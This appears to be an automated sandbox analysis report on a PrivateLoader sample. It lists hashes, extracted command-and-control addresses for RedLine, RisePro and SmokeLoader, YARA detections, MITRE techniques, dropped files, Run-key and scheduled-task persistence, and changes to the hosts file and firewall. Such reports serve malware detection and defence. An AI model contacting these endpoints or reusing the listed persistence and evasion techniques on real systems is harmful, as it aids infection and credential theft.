privateloader | 5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60

Analysis

max time kernel
91s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20231127-en
resource tags

arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
submitted
29-11-2023 13:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe
Size

1.7MB
MD5

28ab830a811cb185ddd75568a8eaf994
SHA1

50d73300959e82e6e8f4020d8e6d96d6c8a4cce9
SHA256

5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60
SHA512

0e260edcd7a800fe8e3de66611d80488211ac4d498326de4952758ee54f488036c464cdc31d49323553bf4ba8a777c09caeab4f7459287552ec33f0c68492f04
SSDEEP

24576:yywDUfQUYIhFI9yxWw2C54Ty3B9/lYxwQVCDWSIck8i8j7nSlXiiWT7IzK6neLNb:ZwDyOK8ePPx9/lYxYe8DQXT40+iqL+E

Malware Config

Extracted

Family

risepro

194.49.94.152

Extracted

Family

redline

Botnet

horda

194.49.94.152:19053

Extracted

Family

smokeloader

Version

2022

http://194.49.94.210/fks/index.php

rc4.i32

Extracted

Family

redline

Botnet

@ytlogsbot

194.169.175.235:42691

Extracted

Family

redline

Botnet

LiveTraffic

195.10.205.16:2245

Signatures

Detect ZGRat V1 26 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3768-724-0x000001D27E170000-0x000001D27E254000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-730-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-732-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-727-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-734-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-736-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-738-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-740-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-742-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-744-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-748-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-750-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-746-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-754-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-752-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-756-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-767-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-769-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-771-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-773-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-775-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-777-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-779-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-781-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-783-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1
behavioral1/memory/3768-785-0x000001D27E170000-0x000001D27E250000-memory.dmp	family_zgrat_v1

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3968-38-0x0000000000400000-0x000000000043C000-memory.dmp	family_redline
behavioral1/memory/6616-695-0x0000000000250000-0x000000000028E000-memory.dmp	family_redline
behavioral1/memory/4580-1624-0x0000000002BC0000-0x0000000002BFC000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

latestX.exe

description	pid	process	target process
PID 1812 created 3272	1812	latestX.exe	Explorer.EXE
PID 1812 created 3272	1812	latestX.exe	Explorer.EXE
PID 1812 created 3272	1812	latestX.exe	Explorer.EXE
PID 1812 created 3272	1812	latestX.exe	Explorer.EXE
PID 1812 created 3272	1812	latestX.exe	Explorer.EXE

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

198 6616 powershell.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

latestX.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts latestX.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exe

pid process

4864 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
198	6616	powershell.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe

pid	process
4864	netsh.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

toolspub2.exe4534.exe513D.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation	toolspub2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation	4534.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation	513D.exe

Drops startup file 1 IoCs

Processes:

AppLaunch.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk AppLaunch.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk	AppLaunch.exe

Executes dropped EXE 33 IoCs

Processes:

ES2fl98.exent4mT96.exeVx3VT98.exe1Fw40dI9.exe2Tw6295.exe3bN57wO.exe4lO623ao.exe5UT0qf8.exepowershell.exeDF6.exeConhost.exe4534.exeInstallSetup9.exetoolspub2.exeBroom.exepowershell.exe4DD0.exe4F29.exe4DD0.tmptuc3.exe513D.exesc.exelatestX.exe55D3.exetuc3.tmppowershell.exeVolumeSYNCH.exempeg4bind.exempeg4bind.exetoolspub2.exe31839b57a4f11171d6abc8bbc4451ee4.exe513D.exeupdater.exe

pid	process
1904	ES2fl98.exe
4792	nt4mT96.exe
448	Vx3VT98.exe
4972	1Fw40dI9.exe
3444	2Tw6295.exe
3308	3bN57wO.exe
2796	4lO623ao.exe
6320	5UT0qf8.exe
6616	powershell.exe
5420	DF6.exe
3768	Conhost.exe
7084	4534.exe
7152	InstallSetup9.exe
6340	toolspub2.exe
3368	Broom.exe
4756	powershell.exe
3012	4DD0.exe
5988	4F29.exe
6552	4DD0.tmp
4228	tuc3.exe
4272	513D.exe
4580	sc.exe
1812	latestX.exe
4548	55D3.exe
1080	tuc3.tmp
3572	powershell.exe
6612	VolumeSYNCH.exe
5552	mpeg4bind.exe
1360	mpeg4bind.exe
3736	toolspub2.exe
6240	31839b57a4f11171d6abc8bbc4451ee4.exe
1672	513D.exe
6944	updater.exe

Loads dropped DLL 4 IoCs

Processes:

4DD0.tmptuc3.tmp

pid process

6552 4DD0.tmp
1080 tuc3.tmp
1080 tuc3.tmp
1080 tuc3.tmp
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
6552	4DD0.tmp
1080	tuc3.tmp
1080	tuc3.tmp
1080	tuc3.tmp

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

AppLaunch.exe5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exeES2fl98.exent4mT96.exeVx3VT98.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MaxLoonaFest131 = "C:\\Users\\Admin\\AppData\\Local\\MaxLoonaFest131\\MaxLoonaFest131.exe"	AppLaunch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	5cb85de204b035a16ee3ea7f9adea9fe9785a70f21aa26eac498e0b7d4fa5e60.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	ES2fl98.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	nt4mT96.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	Vx3VT98.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4lO623ao.exe	autoit_exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4lO623ao.exe	autoit_exe

Detected potential entity reuse from brand paypal.
phishing paypal

Drops file in System32 directory 7 IoCs

Processes:

AppLaunch.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	AppLaunch.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	AppLaunch.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	AppLaunch.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy	AppLaunch.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

1Fw40dI9.exe2Tw6295.exe5UT0qf8.exeDF6.exetoolspub2.exe513D.exe

description	pid	process	target process
PID 4972 set thread context of 4624	4972	1Fw40dI9.exe	AppLaunch.exe
PID 3444 set thread context of 3968	3444	2Tw6295.exe	AppLaunch.exe
PID 6320 set thread context of 5848	6320	5UT0qf8.exe	AppLaunch.exe
PID 5420 set thread context of 3768	5420	DF6.exe	Conhost.exe
PID 6340 set thread context of 3736	6340	toolspub2.exe	toolspub2.exe
PID 4272 set thread context of 1672	4272	513D.exe	513D.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

31839b57a4f11171d6abc8bbc4451ee4.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN 31839b57a4f11171d6abc8bbc4451ee4.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Program Files directory 39 IoCs

Processes:

4DD0.tmptuc3.tmplatestX.exe

description	ioc	process
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-TL0JC.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-5PFUK.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-1DDHF.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-D12LO.tmp	tuc3.tmp
File opened for modification	C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-NQB6U.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-49ASU.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-J5IUT.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\UIText\is-PTIC8.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\UIText\is-3E491.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\UIText\is-SU9OL.tmp	4DD0.tmp
File opened for modification	C:\Program Files (x86)\Common Files\VolumeSYNCH\unins000.dat	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-PECI3.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-M1QR6.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-P18SK.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-K732V.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-N2CT4.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\UIText\is-RUHB6.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-JS662.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-PK7EG.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-JUJUA.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-9ICJ6.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-EE7IS.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-LHC46.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-B428K.tmp	4DD0.tmp
File opened for modification	C:\Program Files (x86)\Common Files\VolumeSYNCH\VolumeSYNCH.exe	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-UB6FH.tmp	tuc3.tmp
File opened for modification	C:\Program Files (x86)\Common Files\MPEG4Binder\unins000.dat	tuc3.tmp
File created	C:\Program Files\Google\Chrome\updater.exe	latestX.exe
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\unins000.dat	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-DLL5K.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\unins000.dat	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-9FPPT.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-C0QF3.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-A0BVF.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-QSA3B.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\VolumeSYNCH\is-77PHQ.tmp	4DD0.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-KBIVN.tmp	tuc3.tmp
File created	C:\Program Files (x86)\Common Files\MPEG4Binder\is-TPG11.tmp	tuc3.tmp

Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4084 sc.exe
6156 sc.exe
6928 sc.exe
4272 sc.exe
5352 sc.exe
1840 sc.exe
6648 sc.exe
5648 sc.exe
4748 sc.exe
4580 sc.exe
4520 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4084	sc.exe
6156	sc.exe
6928	sc.exe
4272	sc.exe
5352	sc.exe
1840	sc.exe
6648	sc.exe
5648	sc.exe
4748	sc.exe
4580	sc.exe
4520	sc.exe

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

toolspub2.exe3bN57wO.exeAppLaunch.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3bN57wO.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3bN57wO.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3bN57wO.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

5988 schtasks.exe
5036 schtasks.exe
4312 schtasks.exe
6116 schtasks.exe
1656 schtasks.exe

pid	process
5988	schtasks.exe
5036	schtasks.exe
4312	schtasks.exe
6116	schtasks.exe
1656	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exemsedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
